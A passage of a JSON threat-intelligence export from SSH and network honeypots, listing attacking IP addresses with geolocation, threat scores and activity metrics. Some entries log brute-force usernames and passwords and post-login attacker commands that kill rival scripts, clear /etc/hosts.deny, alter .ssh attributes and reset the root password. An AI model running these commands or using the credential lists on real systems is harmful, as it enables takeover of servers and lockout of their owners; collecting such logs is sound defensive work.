      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T16:56:37.085000+00:00",
        "last_seen_30d": "2026-03-08T16:58:20.165000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.104": {
      "attack_count": 2,
      "first_seen": "2026-03-21T22:39:57.980Z",
      "last_seen": "2026-03-21T22:39:58.141Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T23:16:39.436000+00:00",
        "last_seen_30d": "2026-03-31T02:51:48.559000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 25,
        "ConPot": 18,
        "Miniprint": 9,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "198.235.24.175": {
      "attack_count": 2,
      "first_seen": "2026-03-14T17:16:03.975Z",
      "last_seen": "2026-03-14T17:16:34.689Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 27,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:26:18.110000+00:00",
        "last_seen_30d": "2026-03-28T23:02:14.560000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 31,
        "ConPot": 2,
        "Cowrie": 2
      }
    },
    "222.91.248.119": {
      "attack_count": 2,
      "first_seen": "2026-03-18T19:44:28.608Z",
      "last_seen": "2026-03-18T19:44:43.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xi'an",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T19:44:28.608000+00:00",
        "last_seen_30d": "2026-03-18T19:45:45.742000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "34.59.48.244": {
      "attack_count": 2,
      "first_seen": "2026-03-10T05:39:52.467Z",
      "last_seen": "2026-03-10T05:40:23.190Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:39:52.467000+00:00",
        "last_seen_30d": "2026-03-10T05:41:27.642000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.128.229": {
      "attack_count": 2,
      "first_seen": "2026-03-22T16:08:17.249Z",
      "last_seen": "2026-03-22T16:08:30.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T16:08:17.249000+00:00",
        "last_seen_30d": "2026-03-22T16:09:39.923000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.166.68.145": {
      "attack_count": 2,
      "first_seen": "2026-03-20T09:08:55.398Z",
      "last_seen": "2026-03-20T09:09:09.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 267953,
      "as_org": "BNET SOLUCOES EM INTERNET LTDA-ME",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:08:55.398000+00:00",
        "last_seen_30d": "2026-03-20T09:10:13.600000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.186.33.186": {
      "attack_count": 2,
      "first_seen": "2026-03-09T04:44:18.208Z",
      "last_seen": "2026-03-09T04:44:49.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Te\u00f3filo Otoni",
      "asn": 269425,
      "as_org": "RN TELECOMUNICACOES EIRELI",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T04:44:18.208000+00:00",
        "last_seen_30d": "2026-03-09T04:45:52.053000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.239.202.212": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:21:56.880Z",
      "last_seen": "2026-03-14T22:22:28.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:21:56.880000+00:00",
        "last_seen_30d": "2026-03-14T22:23:33.295000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.93.160.89": {
      "attack_count": 2,
      "first_seen": "2026-03-18T02:16:37.690Z",
      "last_seen": "2026-03-18T02:17:08.286Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T02:16:37.690000+00:00",
        "last_seen_30d": "2026-03-18T02:18:10.204000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.120.177.244": {
      "attack_count": 2,
      "first_seen": "2026-03-28T04:40:22.010Z",
      "last_seen": "2026-03-28T04:40:35.908Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T04:40:22.010000+00:00",
        "last_seen_30d": "2026-03-28T04:41:40.810000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.243.207.15": {
      "attack_count": 2,
      "first_seen": "2026-03-12T20:20:57.399Z",
      "last_seen": "2026-03-12T20:21:11.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:20:57.399000+00:00",
        "last_seen_30d": "2026-03-12T20:22:18.124000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.234": {
      "attack_count": 2,
      "first_seen": "2026-03-28T13:47:52.260Z",
      "last_seen": "2026-03-28T13:47:55.265Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 30,
        "ports_targeted_30d": 51,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T09:42:42+00:00",
        "last_seen_30d": "2026-03-31T19:40:18.327000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122,
        "Honeytrap": 35,
        "Cowrie": 2,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "212.2.253.241": {
      "attack_count": 2813,
      "first_seen": "2026-03-27T11:36:30.644Z",
      "last_seen": "2026-03-27T13:10:39.616Z",
      "sessions": 562,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "test",
        "user",
        "ftpuser",
        "minecraft",
        "deployer",
        "odoo",
        "student",
        "admin",
        "bot",
        "jenkins",
        "web",
        "www",
        "aaa",
        "alex",
        "bob",
        "botuser",
        "claude"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "1234",
        "12345678",
        "1",
        "p@ssw0rd",
        "1111",
        "12345",
        "admin123",
        "root",
        "111",
        "1qaz@WSX",
        "11",
        "1234567",
        "123456789",
        "aa",
        "admin",
        "aman"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 214122,
      "as_org": "Civo India Pvt Limited",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3989,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:36:12.732000+00:00",
        "last_seen_30d": "2026-03-27T13:11:43.264000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2813,
        "Suricata": 1176
      }
    },
    "160.176.155.38": {
      "attack_count": 1338,
      "first_seen": "2026-03-27T11:02:12.092Z",
      "last_seen": "2026-03-28T00:50:34.389Z",
      "sessions": 446,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 2380,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:02:12.092000+00:00",
        "last_seen_30d": "2026-03-28T00:51:36.630000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1338,
        "Suricata": 1042
      }
    },
    "143.198.47.228": {
      "attack_count": 1197,
      "first_seen": "2026-03-16T00:27:44.817Z",
      "last_seen": "2026-03-16T00:57:06.094Z",
      "sessions": 239,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "test",
        "admin",
        "odoo",
        "student",
        "user",
        "aaa",
        "ali",
        "botuser",
        "debian",
        "deployer",
        "dev",
        "elasticsearch",
        "ftptest",
        "ftpuser",
        "github",
        "home",
        "jenkins"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "P@ssw0rd",
        "12345678",
        "password",
        "1",
        "111",
        "12345",
        "admin",
        "admin123",
        "p@ssw0rd",
        "q1w2e3r4",
        "02071979",
        "0909",
        "0987654321",
        "1011",
        "102030",
        "1111",
        "1123",
        "12312"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1669,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T00:27:44.817000+00:00",
        "last_seen_30d": "2026-03-16T01:07:14.305000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1197,
        "Suricata": 472
      }
    },
    "103.174.115.91": {
      "attack_count": 961,
      "first_seen": "2026-03-14T19:24:54.839Z",
      "last_seen": "2026-03-29T11:41:26.514Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "geo",
        "nora",
        "search",
        "tanvir",
        "ubuntu",
        "aa",
        "abdullah",
        "contab",
        "deploy",
        "hasan",
        "karim",
        "nfe",
        "ociispth",
        "pablo",
        "pengbo",
        "prueba",
        "recovery",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "!QAZ.1qaz",
        "!QAZ2wsx",
        "!qa@ws#ed",
        "123",
        "1234!QAZ",
        "12345",
        "1236987",
        "1qaz!@#",
        "5211314.",
        "7ujm8ik,",
        "Aa1234567",
        "Aa@121212",
        "Abc@12345",
        "Jz@123456",
        "Karim123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nVpRJ83OrBSfH\\nVpRJ83OrBSfH\\n\"|passwd",
        "echo \"1234\\nD1HnhwxGthG6\\nD1HnhwxGthG6\\n\"|passwd",
        "echo \"geo123!\\niNpXIQNi6QAz\\niNpXIQNi6QAz\\n\"|passwd",
        "echo \"root:DGiHK1Rka3Gd\"|chpasswd|bash",
        "echo \"root:HPQxrLfKEFYb\"|chpasswd|bash",
        "echo \"root:J5p7nw2zUvuk\"|chpasswd|bash",
        "echo \"root:R8qrAqXBXMZT\"|chpasswd|bash",
        "echo \"root:ry5Dna9oWKue\"|chpasswd|bash",
        "echo \"tanvirpass\\n3Z0na4ICpsgt\\n3Z0na4ICpsgt\\n\"|passwd",
        "echo -e \"12345678\\nVpRJ83OrBSfH\\nVpRJ83OrBSfH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1182,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T19:24:54.839000+00:00",
        "last_seen_30d": "2026-03-29T11:42:26.980000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 961,
        "Suricata": 221
      }
    },
    "62.173.38.229": {
      "attack_count": 832,
      "first_seen": "2026-03-03T07:54:57.575Z",
      "last_seen": "2026-03-20T13:55:55.288Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "claude",
        "ionadmin",
        "mailtest",
        "remoteuser",
        "test_user",
        "xray",
        "alpha",
        "andres",
        "arun",
        "beehive",
        "ceshi",
        "client",
        "devops",
        "dhkim",
        "evan",
        "jitendra",
        "kafka"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "123456",
        "1234",
        "112358",
        "123",
        "123Qwe123",
        "1qaz",
        "1qaz#EDC5tgb",
        "2wsxXSW@",
        "78ui&*UI",
        "A123456!",
        "ASD123asd",
        "Aa12345678@",
        "Admin123",
        "Alpha123!",
        "Bingo@1993",
        "Dhkim123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nPiO7UWnyVYHf\\nPiO7UWnyVYHf\\n\"|passwd",
        "echo \"password\\nC3q7Y3xUnhRa\\nC3q7Y3xUnhRa\\n\"|passwd",
        "echo \"password\\nL1PU3qdqLvwr\\nL1PU3qdqLvwr\\n\"|passwd",
        "echo \"password\\nNLVu81pqkwDH\\nNLVu81pqkwDH\\n\"|passwd",
        "echo \"remoteuser123!\\nPwXkz7SQOkL2\\nPwXkz7SQOkL2\\n\"|passwd",
        "echo \"root:9D7V5Mqx1zio\"|chpasswd|bash",
        "echo \"root:BDDZHu0K25eq\"|chpasswd|bash",
        "echo \"root:YyviWDdBm74z\"|chpasswd|bash",
        "echo \"root:spV8ga5GFlVz\"|chpasswd|bash",
        "echo -e \"123456\\nPiO7UWnyVYHf\\nPiO7UWnyVYHf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29091,
      "as_org": "IPNXng",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.9,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 972,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:54:57.575000+00:00",
        "last_seen_30d": "2026-03-20T13:57:01.920000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 832,
        "Suricata": 140
      }
    },
    "101.32.128.193": {
      "attack_count": 792,
      "first_seen": "2026-03-04T04:24:39.590Z",
      "last_seen": "2026-03-30T14:21:51.590Z",
      "sessions": 77,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "pavel",
        "dls",
        "gitlab-runner",
        "ibrahim",
        "lek",
        "ljd",
        "personal",
        "rico",
        "sa",
        "sklep",
        "syj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "n8n",
        "123",
        "123.123",
        "1234",
        "12345678",
        "123456Ll",
        "1234asdf",
        "123abC.",
        "1Qaz@wsx",
        "1q2w3e$R5t",
        "AAAA0000",
        "Abc#123",
        "Abc12345678.",
        "Admin123!@#",
        "Ibrahim123!",
        "Lek123",
        "P4ssword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nKCTSMyzVZzdh\\nKCTSMyzVZzdh\\n\"|passwd",
        "echo \"root:4AiaDgFv3z0w\"|chpasswd|bash",
        "echo \"root:ChDyoUaCVrhS\"|chpasswd|bash",
        "echo \"root:J4da4K6QXSNs\"|chpasswd|bash",
        "echo \"root:KGS8gpcTN4Od\"|chpasswd|bash",
        "echo \"root:RWGHgHfZGHfW\"|chpasswd|bash",
        "echo \"root:dEXwKB0pKFhV\"|chpasswd|bash",
        "echo -e \"1234\\nKCTSMyzVZzdh\\nKCTSMyzVZzdh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 62.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 977,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T04:24:39.590000+00:00",
        "last_seen_30d": "2026-03-30T14:22:58.252000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 792,
        "Suricata": 185
      }
    },
    "223.17.5.126": {
      "attack_count": 788,
      "first_seen": "2026-03-04T12:20:36.617Z",
      "last_seen": "2026-03-22T10:09:47.463Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "api",
        "data",
        "rdp",
        "ws",
        "andrea",
        "apagar",
        "comp",
        "deamon",
        "factorio",
        "games",
        "gbase",
        "hassan",
        "hdfs",
        "joao",
        "kirill",
        "laurent",
        "long"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "123456",
        "0416",
        "12345",
        "123abc,.",
        "12qwaszX",
        "1QAZ2WSX3EDC",
        "1qazxsw2#EDCVFR$",
        "2005",
        "@Aa123456",
        "Admin@123",
        "Bingo@1993",
        "Comp123",
        "Data123",
        "Games123",
        "Laurent123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
